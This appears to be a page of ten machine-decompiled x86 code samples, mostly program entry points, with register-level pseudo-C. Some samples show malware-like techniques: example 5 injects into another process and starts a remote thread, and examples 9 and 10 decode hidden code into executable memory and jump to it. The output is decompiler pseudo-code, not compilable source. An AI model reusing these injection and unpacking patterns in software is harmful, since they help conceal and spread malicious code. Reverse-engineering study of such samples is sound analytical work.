Beispiel #1
0
// address: 0x4010b3
void _start() {
    __size32 eax; 		// r24
    int ecx; 		// r25

    LoadLibraryA(0);
    LoadLibraryA(0);
    LoadLibraryA(0);
    eax = LoadLibraryA(0); /* Warning: also results in ecx */
    proc1(pc, pc, 0x15000, ecx, eax, LOGICALFLAGS32(1), LOGICALFLAGS32(1), LOGICALFLAGS32(1));
}
Beispiel #2
0
// address: 0x401000
void _start(__size32 param1) {
    __size32 *eax; 		// r24
    __size32 eax_1; 		// r24{11}
    __size32 ecx; 		// r25

    eax = *(param1 + 160);
    eax = *eax;
    eax = *(eax + 8);
    eax = *eax;
    eax = *eax;
    eax = *eax;
    eax_1 = *(eax - 4);
    eax = *(eax_1 + 4);
    if (eax != 0) {
        proc1();
        proc2();
    }
    proc3(pc, ecx, eax, ecx, eax_1 + 4, param1, LOGICALFLAGS32(eax), LOGICALFLAGS32(eax), LOGICALFLAGS32(eax));
}
Beispiel #3
0
// address: 8048b10
int main(int argc, char *argv[], char *envp[]) {
    __size32 eax; 		// r24
    int ecx; 		// r25
    __size8 *edi; 		// r31
    __size8 *esi; 		// r30

    eax = *argv;
    global4 = eax;
    setlocale(6, "");
    bindtextdomain("coreutils", "/usr/share/locale");
    textdomain("coreutils");
    proc2();
    if (argc == 2) {
        getenv("POSIXLY_CORRECT");
        flags = LOGICALFLAGS32(eax);
        if (eax == 0) {
            eax = *(argv + 4);
            edi = 0x804a055;
            esi = eax;
            ecx = 7;
            do {
                if (ecx == 0) {
                    goto L7;
                }
                tmpb = *esi - *edi;
                flags = SUBFLAGS8(*esi, *edi, tmpb);
                esi +=  (DF == 0) ? 1 : -1;
                edi +=  (DF == 0) ? 1 : -1;
                ecx = ecx - 1;
            } while (tmpb == 0);
L7:
            if (flags) {
                proc4(0);
            }
            do {
            } while (ecx != 0 && ZF);
            if ( !flags) {
                *(__size32*)(esp + 20) = eax;
                *(__size32*)(esp + 16) = edi;
                *(__size32*)(esp + 12) = esi;
                *(__size32*)(esp + 8) = ebx;
                *(__size32*)(esp + 4) = ecx;
                *(__size32*)esp = eax;
                proc3(*(esp - 72), *(esp + 4), *(esp + 8), *(esp + 12), *(esp + 16), *(esp + 20));
            }
        }
    }
    *(__size32*)esp = 0;
    exit(*(esp + 4));
    return;
}
Beispiel #4
0
// address: 0x401065
void _start(__size32 param1) {
    proc1(pc, 0x10000, 0, param1, LOGICALFLAGS32(0), LOGICALFLAGS32(0), LOGICALFLAGS32(0));
}
Beispiel #5
0
// address: 0x40108d
void proc13(char param1) {
    char al; 		// r8
    __size32 eax; 		// r24
    __size32 eax_1; 		// r24{29}
    __size32 eax_2; 		// r24{74}
    __size32 eax_3; 		// r24{110}
    __size32 ebp; 		// r29
    __size32 ebx; 		// r27
    __size32 ecx; 		// r25
    __size32 edx; 		// r26
    int esp; 		// r28
    __size32 *esp_1; 		// r28{54}
    void *esp_2; 		// r28{74}
    void *esp_3; 		// r28{110}
    void *esp_4; 		// r28{138}
    void *esp_5; 		// r28{188}
    LPCSTR local0; 		// m[esp - 40]
    __size32 *local1; 		// m[esp - 36]
    int local10; 		// m[esp - 44]
    __size32 local11; 		// m[esp + 4]
    __size32 local12; 		// m[esp - 32]
    __size32 local13; 		// m[esp - 16]
    __size32 local14; 		// m[esp - 8]
    __size32 local15; 		// m[esp - 4]
    DWORD local16; 		// m[esp - 36]
    int local17; 		// m[esp + 4]{54}
    int local18; 		// m[esp + 4]{289}
    int local19; 		// m[esp + 8]{54}
    unsigned int local2; 		// m[esp - 72]
    int local20; 		// m[esp + 8]{290}
    int local21; 		// m[esp - 4]{54}
    int local22; 		// m[esp - 8]{54}
    int local23; 		// m[esp - 16]{54}
    int local24; 		// m[esp - 32]{54}
    int local25; 		// m[esp - 36]{54}
    int local26; 		// m[esp - 40]{54}
    int local27; 		// m[esp - 44]{54}
    int local28; 		// m[esp - 48]{54}
    int local29; 		// m[esp - 52]{54}
    __size32 local3; 		// m[esp - 68]
    int local30; 		// m[esp - 56]{54}
    int local31; 		// m[esp - 60]{54}
    int local32; 		// m[esp - 64]{54}
    int local33; 		// m[esp - 68]{54}
    int local34; 		// m[esp - 72]{54}
    void *local35; 		// esp_5{188}
    int local4; 		// m[esp - 64]
    __size32 local5; 		// m[esp - 60]
    int local6; 		// m[esp - 56]
    int local7; 		// m[esp - 52]
    unsigned int local8; 		// m[esp - 48]
    unsigned int local9; 		// m[esp + 8]

    eax = proc17("kernel32.dll", 0x405ec8, param1); /* Warning: also results in al */
    if (eax == 0) {
        eax = LoadLibraryA("");
        if (eax != 0) {
            for(;;) {
                Sleep(0x2710);
            }
        }
    } else {
        eax_1 = OpenProcess();
        if (eax_1 != 0) {
            eax = lstrlenA(); /* Warning: also results in ecx, edx */
            (*global10)(pc, eax_1, 0, eax, 0x1000, 4, local9, 1082, 0, local11, ebx, eax, eax_1, ebp, local11, local9, al, eax, ecx, edx, ebx, esp - 4, LOGICALFLAGS32(eax_1), LOGICALFLAGS32(eax_1), LOGICALFLAGS32(eax_1));
            *(__size32*)(ebp - 8) = eax;
            if (eax != 0) {
                *(__size32*)(esp_1 - 4) = 0;
                *(__size32*)(esp_1 - 8) = *(ebp - 12);
                *(__size32*)(esp_1 - 12) = *(ebp + 12);
                *(__size32*)(esp_1 - 16) = *(ebp - 8);
                *(__size32*)(esp_1 - 20) = *(ebp - 4);
                (*global11)(local34, local33, local32, local31, local30, local29, local28, local27, local26, local25, local24, local23, local22, local21, local17, local19, al, eax, ecx, edx, 0, ebp, <all>, LOGICALFLAGS32(eax), LOGICALFLAGS32(eax), LOGICALFLAGS32(eax));
                local35 = esp_2;
                eax = eax_2;
                flags = LOGICALFLAGS32(eax_2);
                if (eax_2 != 0) {
                    *(__size32*)(esp_2 - 4) = 0x405e74;
                    eax = GetModuleHandleA();
                    *(__size32*)(esp_2 - 8) = 0x405e67;
                    *(__size32*)(esp_2 - 12) = eax;
                    eax = GetProcAddress(*(esp_2 - 12), *(esp_2 - 8)); /* Warning: also results in ecx */
                    *(union { void * x13; int x14; }*)(esp_2 - 8) = ebp - 16;
                    *(__size32*)(esp_2 - 12) = 0;
                    *(__size32*)(esp_2 - 16) = *(ebp - 8);
                    *(__size32*)(esp_2 - 20) = eax;
                    *(__size32*)(esp_2 - 24) = 0;
                    *(__size32*)(esp_2 - 28) = 0;
                    *(__size32*)(esp_2 - 32) = *(ebp - 4);
                    (*global12)(local2, local3, local4, local5, local6, local7, local8, local10, local0, local1, local12, local13, local14, local15, local11, local9, al, eax, ecx, ebp - 16, ebx, ebp, <all>, LOGICALFLAGS32(eax_2), LOGICALFLAGS32(eax_2), LOGICALFLAGS32(eax_2));
                    local35 = esp_3;
                    *(__size32*)(ebp - 20) = eax_3;
                    eax = eax_3;
                    flags = LOGICALFLAGS32(eax_3);
                    if (eax_3 != 0) {
                        *(__size32*)(esp_3 - 4) = -1;
                        *(__size32*)(esp_3 - 8) = *(ebp - 20);
                        WaitForSingleObject(*(esp_3 - 8), *(esp_3 - 4));
                        *(union { void * x17; int x18; }*)(esp_3 - 4) = ebp - 24;
                        *(__size32*)(esp_3 - 8) = *(ebp - 20);
                        GetExitCodeThread();
                        ebx = *(ebp - 24);
                        *(__size32*)(esp_3 - 12) = *(ebp - 20);
                        eax = CloseHandle(*(esp_3 - 12)); /* Warning: also results in ecx, edx, esp_4 */
                        local35 = esp_4;
                    }
                }
                esp_5 = local35;
                *(__size32*)(esp_5 - 4) = 0x8000;
                *(__size32*)(esp_5 - 8) = 0;
                *(__size32*)(esp_5 - 12) = *(ebp - 8);
                *(__size32*)(esp_5 - 16) = *(ebp - 4);
                (*global13)(local2, local3, local4, local5, local6, local7, local8, local10, local0, local1, local12, local13, local14, local15, local18, local20, al, eax, ecx, edx, ebx, ebp, <all>, flags, ZF, CF);
            }
Beispiel #6
0
// address: 0x401140
void proc10(unsigned int param1, char *param2, __size32 param3, __size32 param4, __size32 param5, __size32 param6) {
    __size32 eax; 		// r24
    int edx; 		// r26
    int esp; 		// r28

    eax = _stat64i32();
    if (eax != 0) {
L1:
        edx = perror(param2);
        proc13(pc, pc, param2, param6, param5, param4, pc, param1, global0 ^ (esp - 76), 1, global0 ^ esp - 76 ^ esp - 76, edx, param3, param4, param5, param6, LOGICALFLAGS32(global0 ^ esp - 76 ^ esp - 76), LOGICALFLAGS32(global0 ^ esp - 76 ^ esp - 76), LOGICALFLAGS32(global0 ^ esp - 76 ^ esp - 76));
    }
    eax = fopen(param2, "rb");
    if (eax != 0) {
        if (param1 > 0) {
            *(__size32*)(esp - 4) = edi;
            *(__size32*)(esp - 4) = 16;
            *(__size32*)(esp - 4) = 1;
            *(__size32*)(esp - 4) = ecx;
            (*ebx)();
            if ( !flags) {
                *(__size32*)(esp - 4) = esi;
                *(__size32*)(esp - 4) = edx;
                proc14(*(esp + 4), *(esp + 8));
            }
        }
        *(__size32*)(esp - 4) = edi;
        fclose(*(esp + 4));
        proc13();
    }
    goto L1;
}
Beispiel #7
0
// address: 0x4014ec
void _start() {
    __size16 ax; 		// r0
    __size16 cx; 		// r1
    unsigned char dl; 		// r10
    __size32 eax; 		// r24
    __size32 *ebp; 		// r29
    __size32 ebx; 		// r27
    __size32 ecx; 		// r25
    __size32 edi; 		// r31
    int edx; 		// r26
    __size32 esi; 		// r30
    int esp; 		// r28
    void *esp_1; 		// r28{8}
    void *esp_2; 		// r28{44}
    void *esp_3; 		// r28{191}
    int local0; 		// m[esp - 4]
    int local1; 		// m[esp - 24]
    int local2; 		// m[esp - 20]
    unsigned int local3; 		// m[esp - 12]
    int local4; 		// m[esp - 8]
    void *local5; 		// esp_3{191}

    esi = proc1(local1, local2, esi); /* Warning: also results in ebx, edi */
    esp_1 = proc2(16, ebx, esi, edi); /* Warning: also results in ebp */
    local5 = esp_1;
    ebx = 0;
    *(__size32*)(ebp - 4) = 0;
    eax = *24;
    esi = *(eax + 4);
    *(__size32*)(ebp - 28) = 0;
    edi = 0x403374;
    for(;;) {
        esp_3 = local5;
        *(__size32*)(esp_3 - 4) = 0;
        *(__size32*)(esp_3 - 8) = esi;
        *(__size32*)(esp_3 - 12) = 0x403374;
        eax = InterlockedCompareExchange(); /* Warning: also results in edx */
        if (eax == 0) {
            goto L24;
        }
        if (eax == esi) {
            break;
        }
        *(__size32*)(esp_3 - 16) = 1000;
        esp_2 = Sleep(*(esp_3 - 16));
        local5 = esp_2;
    }
    *(__size32*)(ebp - 28) = 1;
L24:
    esi = 1;
    if (global61 != 1) {
        if (global61 != 0) {
            global68 = 1;
L16:
            if (global61 == 1) {
                *(__size32*)(esp_3 - 16) = 0x4020cc;
                *(__size32*)(esp_3 - 20) = 0x4020c4;
                edx = _initterm();
                global61 = 2;
            }
            if (*(ebp - 28) == 0) {
                *(__size32*)(esp_3 - 16) = 0;
                *(__size32*)(esp_3 - 20) = 0x403374;
                edx = InterlockedExchange(*(esp_3 - 20), *(esp_3 - 16));
            }
            esp = esp_3 - 12;
            if (*0x403380 != 0) {
                *(__size32*)(esp_3 - 16) = 0x403380;
                eax = proc5(*(esp_3 - 16), dl, edx, 0); /* Warning: also results in ax, cx, dl, edx */
                ecx = *(esp_3 - 16);
                esp = esp_3 - 12;
                if (eax != 0) {
                    *(__size32*)(esp_3 - 16) = 0;
                    *(__size32*)(esp_3 - 20) = 2;
                    *(__size32*)(esp_3 - 24) = 0;
                    (*global53)(local1, local2, pc, 0x4021d8, 16, ax, cx, dl, eax, ecx, edx, 0, ebp, 1, 0x403374, LOGICALFLAGS32(eax), LOGICALFLAGS32(eax), LOGICALFLAGS32(eax));
                }
            }
            *(__size32*)0x23cc = global75;
            local0 = global75;
            local4 = global76;
            local3 = global77;
            eax = proc6(*(esp - 12), *(esp - 8), 0x23cc, ebx, esi, edi); /* Warning: also results in ebx */
            global79 = eax;
            if (*0x403024 == ebx) {
                local0 = eax;
                exit(*(esp - 4));
            }
            if (*0x403034 == ebx) {
                _cexit();
            }
            *(__size32*)(ebp - 4) = -2;
        } else {
            global61 = 1;
            *(__size32*)(esp_3 - 16) = 0x4020dc;
            *(__size32*)(esp_3 - 20) = 0x4020d0;
            eax = _initterm_e(); /* Warning: also results in edx */
            esp = esp_3 - 12;
            if (eax == 0) {
                goto L16;
            } else {
                *(__size32*)(ebp - 4) = -2;
            }
        }
    } else {
        *(__size32*)(esp_3 - 16) = 31;
        edx = _amsg_exit();
        goto L16;
    }
    proc8(ebp);
    return;
}
Beispiel #8
0
// address: 0x4019c9
void _start(__size32 param1, __size8 param2, __size32 *param4, __size32 *param4) {
    __size8 ah; 		// r12
    unsigned char dl; 		// r10
    int eax; 		// r24
    __size32 ebp; 		// r29
    __size32 ebp_1; 		// r29{214}
    __size32 ebx; 		// r27
    int ecx; 		// r25
    __size32 ecx_1; 		// r25{99}
    int ecx_2; 		// r25{108}
    __size32 *edi; 		// r31
    __size32 *edi_1; 		// r31{216}
    int edx; 		// r26
    __size32 *esi; 		// r30
    __size32 *esi_1; 		// r30{215}
    int esp; 		// r28
    union { void * x37; int x38; } esp_1; 		// r28{20}
    void *esp_2; 		// r28{56}
    union { void * x37; int x38; } esp_3; 		// r28{183}
    __size32 *local10; 		// m[esp_3 - 8]{70}
    __size8 local11; 		// param2{178}
    union { void * x37; int x38; } local12; 		// esp_3{183}
    __size32 *local13; 		// param4{185}
    __size32 *local14; 		// esi_1{215}
    INT local2; 		// m[esp - 12]
    unsigned int local3; 		// m[esp - 24]
    int local4; 		// m[esp - 20]
    int local5; 		// m[esp - 16]
    unsigned int local6; 		// m[esp - 8]
    unsigned int local9; 		// m[esp_3 - 8]{64}

    edi = param4;
    ebp = param1;
    eax = IsWindow(); /* Warning: also results in ecx, edx */
    local11 = param2;
    local13 = param4;
    esp_1 = esp - 4;
    local12 = esp_1;
    if ((eax | 1) == 1) {
        eax = GetProfileIntW(&ecx, &ecx, 247);
        eax = proc1((unsigned char) eax); /* Warning: also results in esi, ah, ecx, edx, esp_2, ebp, edi */
        local11 = ah;
        local12 = esp_2;
        local13 = esi;
    }
    param2 = local11;
    esp_3 = local12;
    param4 = local13;
    *(__size32*)(esp_3 - 4) = ecx;
    local9 = eax;
    ebx = *(esp_3 - 8);
    local10 = edi;
    ecx += 0x149c;
    local14 = param4;
    if (edi != param4) {
        do {
            ebp_1 = ebp;
            esi_1 = local14;
            edi_1 = edi;
            *(int*)(esp_3 - 12) = edx;
            *(int*)(esp_3 - 16) = ecx;
            ecx_1 = *(esp_3 - 12);
            ecx = ecx_1 + *esi_1;
            *(__size32*)edi_1 = ecx_1 + (unsigned char) ecx;
            ecx_2 = *(esp_3 - 16);
            edx = *(esp_3 - 12);
            esi = esi_1 + 1;
            edi = edi_1 + 1;
            ebp = ebp_1 + 1;
            edx = edx / 256;
            local14 = esi;
            if (4 == ebp_1 + 1) {
                *(__size32*)(esp_3 - 12) = 0xa2d5b2cb;
                edx = *(esp_3 - 12);
                ebp = 0;
            }
            dl = (unsigned char) ebx - ebp_1 + 3;
            edx = edx >> 8 & 0xffffff | (dl);
            ecx = ecx_2 - 1;
        } while (ecx_2 - 1 != 0);
        edx = *(esp_3 - 8);
        (*edx)(local3, local4, local5, local2, local6, param1, param1, (unsigned char) ecx_2 - 1, (unsigned char) edx, (unsigned char) ebx, param2, 4, ecx_2 - 1, edx, ebx, ebp, esi_1 + 1, edi_1 + 1, LOGICALFLAGS32(ecx_2 - 1), LOGICALFLAGS32(ecx_2 - 1), LOGICALFLAGS32(ecx_2 - 1));
        if (ecx != eax) {
        }
    } else {
    }
    return;
Beispiel #9
0
// address: 0x401a31
int proc1(int param1) {
    __size8 ah; 		// r12
    __size8 *eax; 		// r24
    int eax_1; 		// r24
    int ebp; 		// r29
    int ebp_1; 		// r29{134}
    int ecx; 		// r25
    void *ecx_1; 		// r25{131}
    __size8 *edi; 		// r31
    __size8 *edi_1; 		// r31{136}
    int edx; 		// r26
    __size32 *esi; 		// r30
    __size32 *esi_1; 		// r30{135}
    __size32 local0; 		// m[esp]
    DWORD local3; 		// m[esp - 8]

    eax = VirtualAlloc(0, 0x13afd, 0x3000, 64);
    ecx = 502;
    esi = local0 + 195;
    edi = eax;
    edx = 0xa2d5b2cb >> 8 & 0xffffff | (eax + param1);
    ebp = 0;
    do {
        ecx_1 = ecx;
        ebp_1 = ebp;
        esi_1 = esi;
        edi_1 = edi;
        ecx = edx + *esi_1;
        *(__size8*)edi_1 = edx + (unsigned char) ecx;
        esi = esi_1 + 1;
        edi = edi_1 + 1;
        ebp = ebp_1 + 1;
        edx = edx / 256;
        if (4 == ebp_1 + 1) {
            edx = (unsigned int)0xa2d5b2cb;
            ebp = 0;
        }
        edx = edx >> 8 & 0xffffff | (param1 - ebp_1 + 3);
        ecx = ecx_1 - 1;
    } while (ecx_1 - 1 != 0);
    (*eax)(pc, 0, ecx_1, local3, pc, (unsigned char) ecx_1 - 1, (unsigned char) eax, param1, 4, ecx_1 - 1, eax, ebp, esi_1 + 1, edi_1 + 1, LOGICALFLAGS32(ecx_1 - 1), LOGICALFLAGS32(ecx_1 - 1), LOGICALFLAGS32(ecx_1 - 1));
    if (ecx != eax_1) {
    }
    return eax_1; /* WARNING: Also returning: esi := esi, ah := ah, ecx := ecx, edx := edx, ebp := ebp, edi := edi */
}
Beispiel #10
0
// address: 0x401000
void _start(unsigned int param1, __size32 param2) {
    unsigned char cl; 		// r9
    __size32 eax; 		// r24
    __size32 eax_1; 		// r24{27}
    int eax_2; 		// r24{245}
    int eax_3; 		// r24{162}
    __size32 ebp; 		// r29
    unsigned int ebx; 		// r27
    unsigned short *ebx_1; 		// r27
    unsigned int ebx_10; 		// r27{261}
    union { unsigned int x11; unsigned short * x12; } ebx_11; 		// r27{335}
    __size32 ebx_12; 		// r27{300}
    union { unsigned int x11; unsigned short * x12; } ebx_13; 		// r27{323}
    union { unsigned int x11; unsigned short * x12; } ebx_14; 		// r27{292}
    union { unsigned int x11; void * x12; } ebx_15; 		// r27{347}
    unsigned int ebx_2; 		// r27{34}
    unsigned int ebx_3; 		// r27{44}
    unsigned int ebx_4; 		// r27{112}
    __size32 ebx_5; 		// r27{168}
    __size32 ebx_6; 		// r27{172}
    unsigned short *ebx_7; 		// r27{305}
    unsigned int ebx_8; 		// r27{239}
    unsigned int ebx_9; 		// r27{282}
    int ecx; 		// r25
    __size32 *ecx_1; 		// r25
    __size32 *ecx_2; 		// r25{259}
    __size32 edi; 		// r31
    int edx; 		// r26
    void *edx_1; 		// r26
    __size32 esi; 		// r30
    __size32 esi_1; 		// r30{12}
    __size32 *esi_10; 		// r30{221}
    __size32 *esi_11; 		// r30{219}
    __size32 *esi_12; 		// r30{214}
    __size32 esi_13; 		// r30{83}
    unsigned int esi_14; 		// r30{283}
    unsigned int esi_15; 		// r30{270}
    unsigned int esi_16; 		// r30{262}
    __size32 *esi_17; 		// r30{337}
    __size32 *esi_18; 		// r30{307}
    __size32 *esi_19; 		// r30{294}
    __size32 esi_2; 		// r30{72}
    __size32 *esi_20; 		// r30{349}
    __size32 esi_3; 		// r30{253}
    unsigned int esi_4; 		// r30{94}
    unsigned int esi_5; 		// r30{108}
    unsigned int esi_6; 		// r30{132}
    __size32 *esi_7; 		// r30{150}
    __size32 esi_8; 		// r30{177}
    __size32 *esi_9; 		// r30{180}
    int esp; 		// r28
    int local1; 		// m[esp - 52]
    int local12; 		// m[esp - 48]
    __size32 *local2; 		// m[esp - 52]
    int local21; 		// m[esp - 52]{355}
    __size32 *local22; 		// m[esp - 52]{374}
    unsigned int local23; 		// m[esp - 84]{377}
    unsigned int local24; 		// ebx_8{239}
    __size32 local25; 		// esi_13{247}
    __size32 local26; 		// esi_3{253}
    unsigned int local27; 		// ebx_10{261}
    unsigned int local28; 		// esi_16{262}
    unsigned int local29; 		// esi_15{270}
    unsigned int local3; 		// m[esp - 84]
    unsigned int local30; 		// ebx_9{282}
    unsigned int local31; 		// esi_14{283}
    union { unsigned int x11; unsigned short * x12; } local32; 		// ebx_14{292}
    __size32 *local33; 		// esi_19{294}
    unsigned int local34; 		// param1{360}
    __size32 local35; 		// ebx_12{300}
    __size32 *local36; 		// esi_18{307}
    unsigned int local37; 		// local3{369}
    union { unsigned int x11; unsigned short * x12; } local38; 		// ebx_11{335}
    __size32 *local39; 		// esi_17{337}
    unsigned int local40; 		// local3{372}
    int local41; 		// eax_3{344}
    union { unsigned int x11; void * x12; } local42; 		// ebx_15{347}
    __size32 *local43; 		// esi_20{349}
    union { void * x13; int x14; } local5; 		// m[esp - 80]

    esi_1 = 0;
    eax_1 = AddAce();
    local25 = esi_1;
    local34 = param1;
    ebx_2 = eax_1 + 37;
    eax = AreAllAccessesGranted();
    local24 = ebx_2;
    if (eax == 0) {
        ebx_3 = eax_1 + 3;
        local24 = ebx_3;
    }
    ebx_8 = local24;
    CloseHandle(89);
    local27 = ebx_8;
    ecx = VirtualProtect(); /* Warning: also results in edx */
    eax = 0;
    edi = param2;
    do {
        eax_2 = eax;
        esi_13 = local25;
        local26 = esi_13;
        if (esi_13 == ebx_8) {
            esi_2 = 0;
            local26 = esi_2;
        }
        esi_3 = local26;
        edi += edx * 9;
        cl = *(esi_3 + 0x404000);
        ecx = ecx >> 8 & 0xffffff | (cl);
        *(char*)(eax_2 + 0x401278) = *(eax_2 + 0x401278) ^ cl;
        eax = eax_2 + 1;
        esi_13 = esi_3 + 1;
        local25 = esi_13;
    } while (eax_2 + 1 < 0x1420);
    ecx_1 = 0x402558;
    esi_4 = ebx_8 + (esi_3 + 1) * 4;
    edi = 0xf0400ff8;
    local1 = 0;
    local28 = esi_4;
    do {
        ecx_2 = ecx_1;
        ebx_10 = local27;
        esi_16 = local28;
        local21 = local1;
        eax = *(ecx_2 + 4);
        edx_1 = ecx_2 + 8;
        local30 = ebx_10;
        local31 = esi_16;
        if ((int)((eax - 8) / 2) > 0) {
            esi_5 = (eax - 8) / 2;
            local29 = esi_5;
            do {
                esi_15 = local29;
                eax = *(unsigned short*)edx_1;
                ebx_4 = eax & 0xf000;
                local30 = ebx_4;
                if ((eax & 0xf000) == 0x3000) {
                    eax = (eax & 0xfff) + *ecx_2;
                    *(__size32*)(eax + 0x400ff8) = *(eax + 0x400ff8) - 0xfbff008;
                }
                edx_1++;
                esi_6 = esi_15 - 1;
                local29 = esi_6;
                local31 = esi_6;
            } while (esi_15 != 1);
        }
        ebx_9 = local30;
        esi_14 = local31;
        eax = *(ecx_2 + 4);
        ecx_1 = ecx_2 + eax;
        cl = (unsigned char) ecx_2 + eax;
        local1 = local21 + eax;
        local27 = ebx_9;
        local28 = esi_14;
        local32 = ebx_9;
        local41 = eax;
        local42 = ebx_9;
    } while ((unsigned int)(local21 + eax) < 228);
    flags = SUBFLAGS32(*0x401d64, 0, global11);
    esi_7 = 0x401d54;
    local2 = 0x401d54;
    local33 = esi_7;
    local43 = esi_7;
    if (*0x401d64 != 0) {
        do {
            ebx_14 = local32;
            esi_19 = local33;
            param1 = local34;
            edx = *(esi_19 + 12);
            eax_3 = LoadLibraryA(edx + 0x400ff8); /* Warning: also results in ecx_1 */
            local37 = param1;
            local38 = ebx_14;
            local39 = esi_19;
            local40 = param1;
            edi = eax_3;
            if (eax_3 != 0) {
                ebx_5 = *esi_19;
                local35 = ebx_5;
                if (ebx_5 == 0) {
                    ebx_6 = *(esi_19 + 16);
                    local35 = ebx_6;
                }
                ebx_12 = local35;
                ebx_1 = ebx_12 + 0x400ff8;
                esi_8 = *(esi_19 + 16);
                eax = *(ebx_12 + 0x400ff8);
                esi_9 = esi_8 + 0x400ff8;
                flags = LOGICALFLAGS32(eax);
                local36 = esi_9;
                if (eax != 0) {
                    do {
                        ebx_7 = ebx_1;
                        esi_18 = local36;
                        if (flags) {
                            cl = (unsigned char) eax + 0x400ffa;
                            eax = GetProcAddress(edi, eax + 0x400ffa); /* Warning: also results in ecx_1 */
                        } else {
                            eax = *(unsigned short*)ebx_7;
                            eax = GetProcAddress(edi, eax); /* Warning: also results in ecx_1 */
                            edi = eax_3;
                        }
                        ebx_1 = ebx_7 + 4;
                        *(__size32*)esi_18 = eax;
                        eax = *(ebx_7 + 4);
                        esi_12 = esi_18 + 4;
                        flags = LOGICALFLAGS32(eax);
                        local36 = esi_12;
                        local37 = local3;
                    } while (eax != 0);
                }
                eax_3 = eax;
                ebx_13 = ebx_1;
                local3 = local37;
                esi_11 = local2;
                local38 = ebx_13;
                local39 = esi_11;
                local40 = local3;
            }
            ebx_11 = local38;
            esi_17 = local39;
            local3 = local40;
            esi_10 = esi_17 + 20;
            tmp1 = *(esi_17 + 36);
            flags = SUBFLAGS32(*(esi_17 + 36), 0, tmp1);
            local2 = esi_17 + 20;
            local32 = ebx_11;
            local33 = esi_10;
            local34 = local3;
            local41 = eax_3;
            local42 = ebx_11;
            local43 = esi_10;
        } while (*(esi_17 + 36) != 0);
    }
    eax_3 = local41;
    ebx_15 = local42;
    esi_20 = local43;
    (*0x401a48)(local23, local5, pc, 0x401000, 0x3000, 64, esp - 40, -1, local22, local12, 0, 0, 0, 0, param2, esi, ebp, ebx, cl, eax_3, ecx_1, 0x401a48, ebx_15, 0x400ff8, esi_20, edi, flags, ZF, CF);
    *(__size32*)(esp - 4) = 0;
    ExitProcess(*(esp - 4));
    return;
}